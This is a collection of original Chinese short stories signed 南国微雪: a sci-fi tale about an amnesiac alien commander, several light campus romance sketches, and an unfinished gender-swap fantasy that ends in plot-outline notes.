　　你思考到最后，感觉到一股前所未有的恐惧。那是你第一次体验到这种情绪。

　　第一次，便深入骨髓。

　　由于太过认真，没有注意脚边，脚一滑，头抢地，瞬间失去意识，顺着沙滩滚入海里。

　　至此，你额头上的蓝光完全消失。


　　你被巡逻舰救起。

　　由于强烈的思想动荡和身体事故，你失了忆。选择性失掉了所有关于你星系人类的过往。你失去了计算能力，但情绪系统还未完全稳固在你的神经元里。

　　你认为自己是一个正常的人类。

　　你认为自己前半生没有被父母亦或任何人赋予情感关照。

　　你因为没有户口，被巡逻舰军队移交民政机关，险些遭遇牢狱之灾。

　　你的训练生涯开始了。


　　你默念密码，解开手上的手铐。

　　你原本是这艘战舰的指挥官，事无巨细，你都一一了然于心。

　　你背对摄像头，双手背在背后，问你曾经的下属为什么要这样做。

　　你的下属不屑中带着愤怒。

　　你从他的话中得知，他们在那段时间，也潜移默化地受到情绪系统感染。额头上蓝光渐暗，飞回帝国后，他们被帝国定义为：反人类与叛国，双重罪名，被所有星系人类视为异胎与公敌。

　　逐出帝国。

　　所有的全部资产就只有这一艘你的战舰。

　　他们想要占领地球，重新起家，利用地球现有资源生活。因为不想造成一丝一毫的损失，他们决定攻击人类最脆弱的地方——情绪系统。

　　就算他们对此不了解，但因受到启发，仍能模模糊糊感知到，情绪系统一旦击溃，地球人类便毫无斗志。

　　他们从来不相信情绪有什么用。

　　被逐出帝国也是因为情绪系统。

　　他们恨透了情绪系统。

　　于是先发制人，放出 30 年后进犯地球的狠话。30 年，是从他们帝国飞行到地球的相对论时间。

　　他们在你身边，耳濡目染了解一些战术。知道人类若是三十年的准备都不能动他们丝毫，那么摧毁他们心防更加轻而易举。

　　天欲其亡，必令其狂。

　　他们对自己帝国的科技十分有信心。

　　事实证明，他们的战术卓有成效。地球联合联盟的军队见状，多多少少都已不再反抗，呆呆地望着这个显示屏，等待着人类的灭亡。

　　显示屏里，你军队成员们满地的鲜血，加剧了他们的绝望。

　　但是那个表露爱意的女性完全超出了他们的预料。

　　他们从来不认为，情绪系统能让人坦然面对死亡，只是因为一种感情。

　　开始失控。


　　你的军队们看到你用手在摄像头前做出的信号，开始行动。那是你和他们玩乐期间定下的手势暗号。

　　里应外合，你将刀捅向了现任外星指挥官的心脏。

　　你将刀拔了出来，抑制住自己想要将其千刀万剐的心情。

　　你知道你的这个下属，从来都非常小心眼。他对你很久之前就有仇恨，只是因为没有这个概念，认为自己生了病。

　　从来不相信情绪，但是最后却借情绪之名进行复仇，真是讽刺。

　　你对于为什么自己被绑架，有了个猜想。他想在你的面前，折磨你的成员们，折磨你赖以相信的情绪系统，直至崩溃。一方面是复仇，一方面是战术。

　　只是他为什么知道你失了忆，放心大胆地实施这个计划，你无从得知。

　　也不再想要得知。

　　你决定以后不再重用恶趣味和小心眼的人。

　　你转头，看见满地熟悉的面孔，躺在满是鲜血的冰冷科技表面。

　　你一怔，双腿发软，跪在地上。

　　你把他们沾满鲜血的双手捧起来，贴在自己脸上，感受他们那微弱得快要完全褪去的温度。

　　你有洁癖。但是你此时完全没有生理性的厌恶。你只有痛苦。

　　这痛苦深入骨髓。

　　这不是你第一次感受痛苦，却比任何一次都要深刻。

　　你额头上的蓝光消褪得比你杀死你下属时还要快。

　　进入战舰的成员们看到你额头上的蓝光，知道你的计算力系统和情感系统正在发生激烈的冲突。开始还沉浸在愤怒与悲伤的他们，全部慌乱起来。

　　你在昏迷前听到了无数个声音，用无数种语言喊着同一句话：

　　“长官！！！”


　　你在两个系统的冲击下活了下来。同时保有理性和情绪。

　　你依旧和你的成员们吃喝玩乐，同时缅怀那些过去牺牲的人们。

　　只是你的成员们现在不叫军队，叫做朋友。

　　而你把为了救你而死去的朋友，称作战友和英雄。

　　某一天，你忽然想起，你还作为人类最强战斗力的那段时间。随之联想起，你上司眼里的欣赏和赞叹。

　　一瞬间，脊背发凉，毛骨悚然。

　　这是你第二次体会到深入骨髓的恐惧。



　　南国微雪

　　2022 年 2 月 5 日

想象力训练 - 公主与夫人（《欢恋》番外）

封面图

画师 | 佚名

图源 | Yande

写在前面

　　字数 3247 字。

　　此为原创短篇小说。纯粹发糖。

　　属于另一短篇原创言情小说番外。

　　男女主角姓名均取自该小说。

正文

　　“怎么就你一个人？”陆羽宁很奇怪，盯着这个坐在后座的女孩子问。

　　“嗯，其他人都不来了……”杨雪韵语气低落，声音也很小，话音尾巴几乎快要消失在风里。

　　雪韵扬起头，可怜兮兮地看了羽宁一眼。

　　借着月光，陆羽宁看见她脸上化了妆。虽然算不上浓，但也说不上淡。说明她很期待这次的晚会呢。

　　“走吧，我的公主，”陆羽宁宛如英国绅士一般鞠下身，将手伸出去，“你的心情全部交给我这个骑士大人吧。”

　　动作绅士至极，但语间全是俏皮。可以想见那张面对地表的脸上，该有多么不正经。

　　杨雪韵有些无语，想给他一拳。

　　“哪有称自己为骑士的，还加个大人。”

　　杨雪韵下了出租车。

　　师傅念叨了一句：“真是青春啊……”然后火急火燎地开走了，像是在逃离什么。

　　杨雪韵听到了，差点一个趔趄摔到地上。

　　陆羽宁在一边笑。

　　“怎么了，都今天了还害羞吗？”

　　杨雪韵白了他一眼：“你觉得我像是害羞的人吗？”

　　“是是是，公主殿下老傲娇了，”陆羽宁还是笑，“走这边。”

　　两人自然地拉起了手。这种事已经做过不知道多少次了。

　　本来商量着十几个同学开一个跨年晚会，但是临近开场，一个个都放了鸽子。还好作为主办方的陆羽宁跟这帮人熟，知道他们不喜欢隆重的聚会，也就没怎么准备。倒是不亏。

　　好家伙，原来不喜欢隆重的聚会是为了方便放鸽子是吧。陆羽宁这样想着。

　　派杨雪韵出去接同学们，结果套了句“真是青春啊……”回来。

　　“诶？不去那家餐馆了吗？”

　　“去什么啊去，”陆羽宁倒是很看得开，“都是鸽子精，凭什么我就不能做一回鸽子。所以我就把老板鸽了。”

　　杨雪韵听得想笑。

　　“怪不得你叫我走这边，可你这又是要领我去哪儿？”

　　“你猜？一个公主应该还是挺值钱的。”

　　“你舍得卖吗？”

　　“舍得啊，怎么舍不得？”陆羽宁嘿嘿地笑着。

　　杨雪韵黑着脸，开始不高兴。

　　陆羽宁又顿了顿，开始说。

　　“10 块钱把你卖出去，20 块钱把你买回来。身价凭空翻了一倍，怎么样？高兴吧？”

　　杨雪韵真的几乎没忍住踹他一脚。什么人啊这是。

　　“好了好了，不开玩笑了，到了。”


　　眼前是一个餐馆。小，但是很精致。室内的装潢采用橘橙色为主，辅以蓝色和靛色。大面积的暖极让人在冬季里感到一丝温暖，而少许冷色调又让人感到冷静。厚厚的玻璃压着方形桌布和菜单。这种设计与寻常餐馆一样，降低了距离感，多了几分亲切。

　　让人意外的是，顾客能够直接看到的厨房很干净。没有油烟和大火熏出的渍色。食材和餐具摆放也很整齐。

　　像他。

　　很像他。

　　杨雪韵看着这家餐馆，转头又看了看与老板正在交谈的他，丝丝温暖逐渐升上心头。

　　“怎么了？”他看见这个美人儿正盯着他，走过来问。

　　“没什么，有些感慨而已……你们事情说完了？”

　　老板这才注意到旁边这位女性，爽朗地笑了一声，面对陆羽宁：“你女朋友？”

　　“啊……嗯……是……”

　　陆羽宁一愣，半晌才憋出来。

　　杨雪韵看他这样倒是一阵诧异，旋即意识到了什么，一脸坏笑地靠近她的心上人。

　　“怎么？还没从我们的朋友关系转变过来吗？这样的话……”她靠近陆羽宁的耳朵，轻轻地吹了一口气，“要我以后变成你夫人了，不就更难为情了吗？”

　　她满意地看着从他脖子上升上来的羞意，然后马上跑开。

　　她知道，自己一旦说了这种话，她那个可爱的男朋友一定会作势来打他。

　　“好了好了，别在我面前放闪了，来看看吃什么吧，”老板笑着开口，看了看陆羽宁收回去的手，“年轻真好啊……”

　　这话一出，别说陆羽宁了，连杨雪韵自己都觉得羞耻，两人连忙找位置坐下。

　　“先来个冰糖番茄吧。”陆羽宁说。

　　老板一愣：“你不是不喜欢吃番茄吗？”

　　然后杨雪韵也愣住了，这货当初可不是这么跟她说的啊。

　　“那个……老板……他不喜欢吃番茄吗？”

　　“他啊，别说喜欢了，最开始看到番茄就跑，他还在这里念书的时候，我们直接拿番茄逗他玩儿呢。”老板笑着说。

　　杨雪韵迷惑地看向陆羽宁。

　　“哎呀，那些旧事就别提了嘛，人总是会变的……”陆羽宁讪讪地说。

　　“行，”老板拿起笔记下，“那还要什么？你这话一说，那老几样我都不敢给你炒了。”

　　“不至于不至于，那还是那老三样吧。”

　　“好嘞。”老板爽快地撕下一页纸，做菜去了。

　　……

　　“到底怎么回事啊？”杨雪韵现在有点晕。

　　“……我预料到了这种情况，所以跟你说实话吧。”陆羽宁倒是不怎么紧张，甚至还用纸巾擦了擦两人的桌沿。

　　“当初我不是追你吗，出去吃饭的时候想知道你的喜好，就叫你随便点了。谁知道你一上来就点这个什么冰糖番茄，说你喜欢，当时给我吓得一哆嗦。后边强装镇定，还是吃下去了。说来也奇怪，跟你在一起了之后，番茄似乎没那么惹人厌了。”

　　杨雪韵听完，真是觉得又心疼又好笑。

　　“下次再这样我打你啊，有什么不喜欢的先说出来啊。”

　　“知道了知道了，当时不是在追你吗，现在已经到手了啊，”说完这话，陆羽宁顿了顿，然后开始意义不明地笑，“你说是吧？亲爱的杨夫人？”

　　这个人……怎么进攻这么突然？

　　杨雪韵脸上有些发烧，有些后悔之前说的那句话，这是完完全全以子之矛攻子之盾，给他拿住了把柄，以后指不定要怎么调侃她呢。

　　“说起来，你都知道我喜欢吃什么了，我还不知道你的呢，不公平啊，快说。”

　　杨雪韵尝试转移话题。

　　他看出来了她的尴尬，很满意现在的状况，听到这句话，略一思忖，又开始笑。

　　“真想听啊？”

　　“嗯……”杨雪韵有种不好的预感。

　　陆羽宁口唇微张，只吐出一个音节：

　　“你。”

　　“啥？”

　　杨雪韵宕机，脑袋一片空白。

　　“你。”

　　这个不要脸的家伙怎么还乘胜追击啊？！

　　杨雪韵本来被“夫人”反攻的时候就没反应过来，现在更是溃不成军。

　　下意识地捂住了自己滚烫的脸。

　　“冰糖番茄来咯！”

　　老板，干得漂亮！杨雪韵在心里竖起大拇指。

　　“吃饭吃饭，都聊饿了。”

　　陆羽宁看她这话题转得比自己还生硬，心里乐开了花。筷子也不动，就这么看她，一边看，他一边笑。

　　杨雪韵当然知道他在看着她，也知道自己脸很红，但是没办法。

　　“妹子，你脸咋这么红啊？”

　　老板你能不能不说话啊，我好尴尬啊……

　　“是啊……”陆羽宁笑着说。

　　杨雪韵低着头，目不转睛地盯着眼前这盘番茄，但是完全没有食欲，聚精会神地听着他的下一句话，希望他能给自己解围。

　　自己脸颊旁微荡的发丝听到了这句救命的话：

　　“要是撒上糖的话，都能当冰糖番茄吃了。”

　　……

　　这饭，是吃不下去了。


　　等到他们吃完饭，逛完街，已经是深夜了。

　　天上的繁星密密点点，其中用彩色涂抹了一线银河。不时有几颗会闪烁的星星从这头移到那一头，那星星里面的乘客大概不会知道，他们的下方有一对望着他们的深情恋人。

　　杨雪韵知道今晚他做的一切都是临时安排，她也知道，他了解女孩子一旦精心化妆就会有想出门的欲望这件事，所以她看着身边的他，心里有一种说不出的复杂感觉。

　　虽然跨年晚会被放鸽子了很失落，但她很喜欢今晚这个只属于他们两人的跨年夜。

　　陆羽宁注意到了身边这位女性的视线。

　　“怎么了？”他尽量使自己声音温柔，但他不知道自己做不做得到，“看样子应该有话想说吧？”

　　“嗯……”她悄悄地握住了他的手，公园长椅在夜晚有些冰，不过她并不在意，“我今晚很开心。”

　　“是吗？”陆羽宁温和地笑了笑，“那就好。”

　　他也用力地回握住她的手。

　　“有流星欸……”

　　杨雪韵刚转头看向夜空，就发现了幸运之物。

　　“来许个愿吧。”

　　杨雪韵率先说。

　　“希望自己能真正成为某个笨蛋的夫人。”

　　陆羽宁听到他身旁的这个声音，一怔。

　　“该你了。”

　　杨雪韵没看他，因为自己脸一定很红。看着他自己会先败下阵来。

　　“嗯……愿某个笨蛋再也不用被他夫人强行推进试衣间换上女装。”

　　有人笑出了声。

　　这个人，真的是……一刻都不正经。

　　“你呀你，真是一点都不浪漫。”杨雪韵笑着说。

　　“这不是看气氛快要控制不住了，想要挽救一下嘛……”陆羽宁笑了笑。

　　“好好好，我信了你的邪。”

　　“夜深了，回家吧，”陆羽宁稍微捏了捏自己握着的那只温热的手，“可以吗？陆夫人？”

　　以你之姓，冠我之名。听得某人心头一跳。

　　“嗯……”杨雪韵低着头，小小地应了一声，旋即抬起头看着他。

　　陆羽宁也看着她。

　　两人之间的那条天上的银河，被缓缓压缩，直至成为一个点，消失在两人脸庞中间。而陆羽宁和杨雪韵闭着的眼睛里，流星刚刚划过。



　　南国微雪

　　2022 年 1 月 17 日

想象力训练之六

　　她是摄影师。他看过她拍的照片，光、色、影、像、人仿佛都在那张凝固的底片上跳动。

　　而他只是一个普通人。准确来说什么都搞过，都了解一点但是兴趣缺缺，只是作为必要的知识了解着，所以还算是普通人的范畴。为数不多喜欢的东西，大约就是跳舞了。


　　“我今天晚上要去值班。”她说。

　　“嗯？多久？”他问。

　　“晚上六点半到十点半吧，好像。”她随口应着。

　　“嗯？——”他转过头来看着她，眼睛瞪得铜铃大，写作业的笔差点都吓掉，“四个小时？”

　　“嗯，”她淡淡地回应着，“还有，你别那么看我。”

　　两个颊上挂上了两个青涩又成熟的苹果。是谁呢？

　　“……”他把头转了回去。

　　只有两个人地教室里，除了两个人的沉默，只有风拉着窗帘撞上讲台怀里的声音。窗帘被气流吹得鼓鼓的，像少女娇嗔的脸蛋。外面是一望无际的云。

　　此刻的沉默似乎并不显得尴尬，钢笔划过后未干的墨迹上映出少年欲言又止的脸。

　　“记得先去吃晚饭。”他说。

　　“嗯。”她向左转了下头，看了身边这个少年一眼。似乎对这种叮咛已经习惯了。

　　少年继续在写着什么。


　　“吃饭没？”他按下几个键。

　　“室友买了一杯奶茶，今晚不吃了。”她回。

　　拿手机的手微微颤抖。肩膀一松，叹了一口气。看了一下时间，七点多，现在或许还来得及。

　　这个笨蛋。到底在搞什么。

　　收拾一下，边走边开始考虑菜单。现在大概也只能买些速食品了，既然这样，要买饼干还是面包？还有其他选择吗？饮料……AD 钙吗？我记得她好像早上就喝这个来着。

　　“啊，对不起。”

　　“没关系。”

　　散了一地的书。他讪讪地帮对面这个人捡了起来。脸还生疼，直接贴人家身上去了。

　　就这样定了吧。他想。

　　大学的夜，漆黑的街，但今晚似乎有些稀疏的灯光。是迎新生的日子。不乏看见有来回奔走以及拖着行李箱的人群。相比起白天来已经很少了。昼间拥仄的车道看起来惬意了许多。不远处传来说说笑笑的声音。

　　走了一半。

　　前脚刚要落进便利店里。他踌躇了一下，又缩了回去。开始往回走。

　　手制的味道应该要好一点，也要精致一点。他想。

　　不过来得及吗？有些小小地担心。


　　姗姗来迟，已经是八点钟了。

　　这个丫头固执得不行，不肯在别人面前吃东西，非要他在自己快下班的时候才来。推来推去他才想出一个折中的方案。但那个时候都已经十点了，怎么可能拖那么晚嘛。

　　我不！

　　看着屏幕上的这两个字，他哭笑不得。

　　当他悄悄站在她背后，看着她倚在别人背上休憩的样子，他不由得觉得，这个人真是让人又好气又好笑。

　　长发从头瀑到肩头，又从肩头柔软顺利地滑落，垂在她微微弯起的手心。翘起的睫毛缓缓翕动，似乎在做一个美丽的梦。眼帘没有闭上，但不清楚她在看什么，唯一可以确定的是，她并没有注意他的到来。

　　“给你。晚饭。”

　　伸出手去。

　　塑料袋摩擦的声音。

　　她转过头来，愣了一下。同时转过来的还有她倚着的那个女生。

　　“别看了，不是给我的。”那个女生对着身边其他志愿者说。

　　他觉得稍微有些尴尬。

　　“谢谢……”她接过三个塑料袋，起身四处找着什么，“你来这么早？”

　　“先不说这个，三个你选两个吧，剩下的那个我吃，你不好意思的话我陪你，”他笑笑，“要是三个你全吃了也行。”

　　她白了他一眼。

　　“这个给你。”

　　这是他第一次知道她不喜欢吃巧克力味的东西。


　　她陪他走过今晚的路。不过刚开始走得很尴尬，她倚着的那个女生是她的室友。那个人半开玩笑地把她往他这边推，还传来几声爽朗的笑声：“你们慢慢玩啊！~”

　　篮球场上的灯很亮，但场上基本已经没有人了——夜已经完全来临了。

　　是时候分开了。

　　两人在宿舍楼下站定。

　　“啊，对了，我忘了跟你说件事。”他忽然记起来什么。

　　“嗯？”她走了两步，又转过身来，歪着头，似乎奇怪又迷惑。

　　他看着她这副天真的样子直想笑，而他则是一副视死如归的夸张样子。

　　是时候结束掉了吧。他想。

　　她有一种预感。

　　他走上前去，贴着她的耳朵，嘟哝了一句：

　　「我喜欢你。」

　　她一把推开他，逃命似的跑回了宿舍，留下他一个人在原地傻愣着，脸上是笑，分不清是大笑还是苦笑。

　　夜很黑呢。他想。

　　手机忽然震了一下。

　　“明天来教室。”是她发的，只有五个字。


　　一夜不眠。两个人都是。


　　第二天，他按约定来到了教室。

　　在开门把手前，他深吸一口气，按耐住狂跳的心脏，按下一切悸动，期待，落空，决意……

　　“我来了。”

　　没有收到回应，只看到他的心上人坐在教室一隅，举起手机对着窗外拍照。

　　外面，棉花糖铺满天，太阳从为数不多的蓝色透气孔里露出脸来，让世界充满光和影，让眼前的这个女孩子身上披上一层柔光。

　　说起来，好久没看到过她拍照了呢。他想。

　　他不是摄影师吗？感觉有些奇怪，但说不上是哪里。

　　“你来啦。”她注意到他，起身迎向他。

　　“叫我来干什么？”

　　“关于昨天最后那件事。”

　　心提到嗓子眼，开始狂跳。

　　这样看来，这个男孩之前在教室门前的冷静完全没有用呢。

　　“啊……”

　　“我已经有了答案了，所以这个给你。”她笑了笑，然后掏出一个比 A4 纸小一点的本簿。

　　那本簿虽然小，但看起来很厚，封面上有些磨损，但用可爱的胶带黏过。书册封很硬，估计是设计者想到要用很长时间，所以故意加固的。

　　“这样啊……”他接过那个小本簿，心里却已跌落悬崖，“那我先走了。”

　　他只想逃。

　　“欸，你别跑啊？……”她有些哭笑不得。

　　“那我还能干嘛？”他收回刚踏出一步的那只脚，怔住了。

　　她瞪了眼前这个呆头鹅一眼。

　　此时这个木头还一脸懵地看着她。

　　“在这儿看呗。”她叹了口气。

　　千算万算没算到这一点吗……她心里又好气又好笑。

　　“我回去看不也一样？”他说出了这句惊人的话。

　　这个呆瓜，到底在干什么啊啊啊。虽然从逻辑上来说是没什么问题，但是他怎么就这么笨啊！……

　　她恨不得上去掐死他。

　　“我想要你现在看。”她说。

　　“……”一句话把他想说的东西全部塞了回去。

　　她领他到了最后一排，站在过道旁把那小本簿给他摆好。

　　“话说你知道这是什么吗？”她忽然想起这个问题。

　　“不知道。”他很诚实。

　　“……”她特想两个白眼翻死他。

　　真不知道自己之前是怎么……哎，算了先不管了。

　　“这个是相册啦，相册。这么明显都看不出来，真是呆得要死。”她开始解说。

　　“哦哦！……”他一副大受震撼的样子。

　　她：……


　　不过翻了两页，他确实大受震撼。因为上面有非常多照片，都是关于他的。

　　“那个……这是？……”他很迷惑。

　　“这是那天我说要去值班时，在教室写作业的你。因为你太专心了，所以就偷偷拍了几张……”

　　“这是体测的时候，帮我送水的你，我拜托我同学帮我拍了几张……”

　　“这是在老地方跳舞的你，不过因为动作太快拍得很模糊，不太好看……”

　　“这是去跟新生聊天的你，因为太自来熟，打成一片，忍不住拍了几张……”

　　……

　　他一边翻着，一边听她说着。越翻越震撼……他已经麻木了。

　　很快便翻到底了。

　　他感觉她从后边抱了上来，围住他的脖子。

　　“那……那个……”

　　“我很幸运能遇见你。”他听到她在自己耳边轻声说。

　　耳朵有些痒痒的，还传来她的吐气声。像是被叮过一样，很快便红了起来。

　　“所以你说的答案是……”他强行歪过头来，看着她的眼睛。

　　“还不明白吗？”她被彻底气笑了。

　　“就是想听你说嘛。”他脸红着笑。

　　“真拿你没办法……”她犹豫了一下。

　　「我喜欢你。」

　　她鼓足勇气说。同他一道，耳朵泛起一阵红。

　　「我也是。」

　　他回应。

　　刚说完，他就把她的脸拉了下来，两个人吻在了一起。


　　不过，他可能永远也不知道，他不眠的那个夜里，同样不眠的她，将一张张照片塞进相册的时候，到底有多么大的困意了……



　　南国微雪

　　2021 年 9 月 26 日


注：本文部分情节根据笔者真实经历改编而来。

想象力训练之五

　　我猛地坐起来，一身冷汗。这已经是不知道第几次了，简直就像是定时闹钟一样，那个噩梦。

　　太阳透过窗框拥抱地板，途中散出几条光柱，纤细微尘在里面起舞，浑然不知疲倦。我望向外面，只有常青树还在坚守着，他者都瑟瑟地将叶子抖落，任由风吹向天际。

　　翻身。起床。穿衣服。洗漱。早饭随便咬片面包解决吧。

　　似乎跟平日没什么两样，但我自己心里总有种不好的预感。


　　“天气预报说了，近期可能会有大暴雨，还有打雷，请大家注意防范一点。尤其是怕打雷的，不管男生女生，都注意一点。”班主任上完课后随意地说了两句，出去了。

　　清冽的男声听起来极具磁性，然而本人高冷到不行。着一身卡其色风衣，高高瘦瘦的，人长得还蛮帅，不得不承认。

　　“这都什么年头了，怎么还有人信天气预报……”

　　“不会有人还怕打雷吧，哈哈哈……”

　　我没理会那些人，撑着脑袋想着那个梦。

　　外面，乌云拢成一围。中间更是黑得密不透风，简直要滴出水来。像是在开会商议什么大事。


　　“啊啊……糟透了，为什么今天偏偏是我值日。”

　　边扫地边抱怨。我还没有带伞。今天都不知道怎么回家。

　　听着外面淅淅沥沥的敲击声，我抱着头一阵阵发愁。不时闪过一阵白光，旋即传来一声天空的威慑。

　　一个人值日，下大雨，还打雷，人基本都走光了，要我说，这场景都可以拿去拍恐怖片了。

　　像是应景似的。蓦地，走廊传来一阵清脆的高跟鞋的声音。

　　心跳骤然加快。

　　直觉告诉我最好现在逃离这里，不然我会遇上大麻烦。我说不清为什么。但是那阵无孔不入的高跟鞋的声音，压迫着我的神经。

　　双腿战栗。

　　声音越来越近。声音越来越响。心脏越来越响。

　　“嘭——”教室门被推开。

　　我瘫坐在讲台的台阶上。

　　来者看不清面容。头上戴有兜帽，帽檐压得很低。里面是风衣，灰黑色的。外面套了一层非常大号的雨衣。雨还在顺着衣摆往下滴，落到地上弹出一阵刺耳的声响。

　　很像一个杀人魔。

　　一步一步接近我。

　　走到我的面前，蹲下来，强硬地拉起我的手，摊开手心，塞进来一个盒子。

　　对方的手，冰凉。

　　然后，合上我的手，用有颗黑痣的左手食指比在嘴唇前，做了一个噤声的手势。嘴角弯起一抹勾。

　　很邪魅的弧度。

　　她在笑？

　　起身。转身。走到教室门前，留下一路水痕。忽然，在教室门前，她转了个头，唇角又勾起一种诡异的弧度：“接下来，就看你的表演了。”

　　女性的声音。磁性但清冷。拒人于千里之外。

　　我听着她的脚步声越走越远，才缓和了我紧张的神经。看向手中的盒子，是一个布盒，看材质应该像是手工做的，不大，似乎里面还有点暖洋洋的。盒面上贴着一张纸条，上面用小篆写着三个大字：潘多拉。


　　“喂？你有没有在听我说话？”

　　“啊啊……抱歉有点，有点愣神……”

　　“你怎么了？感觉你好奇怪啊，从刚才起就这个样子了。”

　　“没什么……抱歉……”

　　旁边是自己喜欢的女生。刚才因为自己在教室呆住了，她回来拿东西，看到了，顺便就拉着我一起回去了。因为自己精神恍惚，似乎只记起来了这么一点。

　　“那个啊……”

　　“怎么了？嗯？”我决定好好打起精神面对旁边这个女孩子，用充满活力和温柔的声音回答她。

　　“你说，我们这样在一把伞下面，像不像一对恋人啊？”

　　我差点一个趔趄。

　　“你你你你你……你在说什么东西……”

　　这个人，把我好不容易振作起来的精神打得烟消云散。溃不成军。

　　“不像吗？嘿嘿……”她打着伞冲我笑。笑容纯真而灿烂。

　　“才不知道那种事情……笨蛋……”我转过头去，不看她。

　　我知道自己的脸现在肯定已经变得非常糟糕了。如果是动漫的话，说不定头上都在冒蒸汽了。我真的不知道该怎么回她。是玩笑还是认真的，我吃不准。

　　旁边传来一阵窃笑。

　　“真好玩。”


　　我执意让她先回家，自己在路边买了一把伞踏上了回家的路途。今天发生这一连串的事情，要是她再送我到家，我不知道心脏会不会爆炸。

　　在床上躺着，消化着今天。天花板上的灯明晃晃的。

　　她是谁？我要不要打开这个盒子？我总觉得有危险……

　　雅怎么又会刚好出现在这个时候？她对我说的那番话又是什么意思？

　　脑袋快炸了。

　　如诡谲多端的战场指挥官一样，猜忌着这样那样的事情——我，又做噩梦了。

　　猛地坐起来，一身冷汗。

　　梦里那个人渐渐变得明朗起来，就是她，那个给我盒子的女人。我不清楚她为什么会出现在我的梦里，还那样诡异地笑，跟昨天一摸一样。

　　可能是多虑了吧，或者是后遗症。

　　我捂住自己的脸。

　　“最近真是不太平啊……”

　　嗯……

　　嗯？

　　欸？

　　等下？

　　我听到了什么？

　　声音细而高。女性的声音。为什么我房间里会有女性的声音？

　　一绺发丝垂到肩上。

　　我摸了摸。

　　等下……

　　你给我等下……

　　不会吧？

　　我飞奔向洗手台，一脸惊恐地看着自己——

　　我，变成女生了。


　　“拜托你帮我请个病假，我有点感冒，好像还挺严重的。”

　　“OK。”

　　我给雅发了条消息，总之今天是绝对去不了学校了。我也不知道自己这种状态要持续多久。

　　我打开窗户，看向外边，依旧是乌云密布，不过相比昨天来讲稍微好一点了。街道的地面上稍微有点润，没有太湿，呼吸一大口还能感觉到灰尘被打湿的那种清新。这种天气会让人心情很好。就是不知道什么时候雨会来，大约会很凶猛吧。

　　直到我注意到放在旁边书桌上的那个盒子。

　　布盒，微热，贴着纸条。

　　潘多拉。

　　我下定决心打开了它。我现在唯一的线索，只有它了。

　　里面是一块勾玉。安安静静躺在盒子中央。闪着红光。

　　勾玉以白色打底，有一小块正圆嵌在一片纯白中央，只有那里是黑色的。

　　好奇怪，形状我好像在哪里见过……

　　黑、白、圆圈、勾玉、阴阳……

　　阴阳？

　　就是它了！

　　可是这有什么用呢？

　　我摸了摸勾玉，微热，原来是它发出的热量。还发现那块白地是突起的，能动。我好奇地按了一下。发现没什么反应。

　　没意思。

　　正准备把它扔到一边时，发现勾玉变了。

　　黑色像是从圆盘监禁中释放出来似的，迅速吞没了白色，剩余不多的白色被赶到圆盘内部被关了起来。

　　几乎一瞬间，勾玉颜色全部变反。


　　与此同时，教室里。

　　雅的座位上突然升起一股烟。

　　全班所有人，包括班主任一起看向了她。


　　我兴趣盎然地看着它，但似乎再没了变化。便将它扔在一边。想些乱七八糟的事情，迷迷糊糊之中又睡着了。

　　不知过了多久，手机传来一声通知。

　　“开门。”

　　雅发来一条消息。

　　“开什么门？”

　　“你说呢，你家的门。”

　　瞳孔一缩。她怎么知道我家在哪里的？

　　“你怎么找到我家位置的？”

　　“我不仅知道这个，我还知道——”

　　「你，现在是女性的身体，对吧？」

　　咣当——

　　手机掉在地上。

　　但是我脑子仍没有转过来。

　　为……为什么她会知道？

　　飞奔下楼。开门。遇见的却是一位陌生男子。比雅要大上一圈，还高上许多。

　　我有些疑惑。

　　“你……是雅？”

　　“嗯。去你房间说。”

　　我迅速领她上了楼。到房间以后，心中的疑问如连珠炮一样问了出来。

　　“别急嘛，”眼前这个男生笑了笑，“心急可吃不了热豆腐哦。”

　　明明是自己喜欢的女孩子，眼前却是一个男性的躯体，真是一种很奇怪的感觉。

　　“你昨天是不是从一个陌生女性哪里收到过一个盒子？”

　　“嗯。”

　　“我也有那个盒子。”

　　“诶？你那里面是什么？”

　　“如果没错的话，你盒子里面应该也是一块勾玉吧，很像太极的那种。”

　　“对。”

　　“这是我的。”

　　雅坐在圆桌对面上，拿出一块勾玉，跟我的相差无几，只是颜色恰好相反。

　　“我能看看吗？”

　　“不行，你的呢？我也要看你的。”

　　“……好吧。”我从书桌上拿起我的那片勾玉。

　　就像一手交钱一手交货那样，在紧张的氛围中拿到了对方的勾玉

　　噩梦惊醒 一切如常 渐变雷雨

　　留守值日 没有带伞 神秘陌生人 盒子 封条 潘多拉 直觉危险

　　她过来送伞 一起回家 纯情害羞

　　梦魇如旧 梦境陌生人 发现变性 委托请假 拆开盒子 勾玉 闪着红光

　　要求进家 百般拒绝

　　「你，现在是女性的身体，对吧？」

　　询问原委 陌生人来访 服装依旧 性别不同

　　陌生人：班主任 脚脖子有颗痣 现任怪奇科学家

　　全民变性 班里情侣 多半变性

想象力训练之四

　　他把她叫到了天台上。明明之前鼓足了勇气，现在却又开始有点退缩了。

　　「叫你出来，是想说点事情……因为很重要，所以要认真听哦。」

　　他最终还是说出来了。面对着不到两步距离的这个女孩子。

　　「欸……啊，你说吧。」

　　她自然明白他要说什么。毕竟这几个月来的经历不会骗人。

　　「我……我……我要开始说了哦。」

　　她看着他前摇这么长，涨红着脸还不自知，吞吞吐吐犹如上刑一样的样子，总觉得有点好笑。

　　「等一下，在你说之前，我突然想起有件很重要的事情。」

　　「诶？是什么？」

　　他傻掉了，在这么紧要的关头……

　　一鼓作气，再而衰，再来一次他可就真不一定有勇气约她了。

　　这么重要的时候突然有事，可能没戏了吧……

　　他想着这些，越想越低落。

　　「那就是……」

　　他被吸引了注意力，看着她向前一步。

　　「我喜欢你。」

　　下一秒，两人的影子叠在了一起。



　　南国微雪

　　2021 年 8 月 8 日

想象力训练之三

　　「诶嘿，看起来怎么样？」比了个剪刀手，他想要夸奖。

　　「可以啊，好看w，挺帅的。」

　　然后他突然抱住了她。

　　「诶，等下，你怎么了……？」她懵了，但还是回抱了他，把手环在他背后。

　　「没……没什么，就是……有点害羞，不敢见你。」他在她的肩膀上，颤抖着轻声说。

　　「诶诶诶诶诶诶？」她觉得有点好笑，打算使坏，挣脱他，看看他的脸。

　　察觉到她的动静，他知道她想干什么。

　　「别，不要……别看我……」

　　越抱越紧。

　　「好了好了，不看不看，放松一点啦，我快喘不过气了。」

　　她还是笑。

　　「等我缓一下，不准看啊。」

　　「嗯。」

　　她感受着肩膀上，他的呼吸。

　　「以后不许夸我了。」

　　「嗯……嗯？等下，诶诶诶诶诶？」



　　南国微雪

　　2021 年 6 月 25 日

想象力训练之二

　　「……」

　　「怎么了？」

　　「没什么……只是突然觉得你的口红看起来好像很好吃的样子……」

　　「诶？」


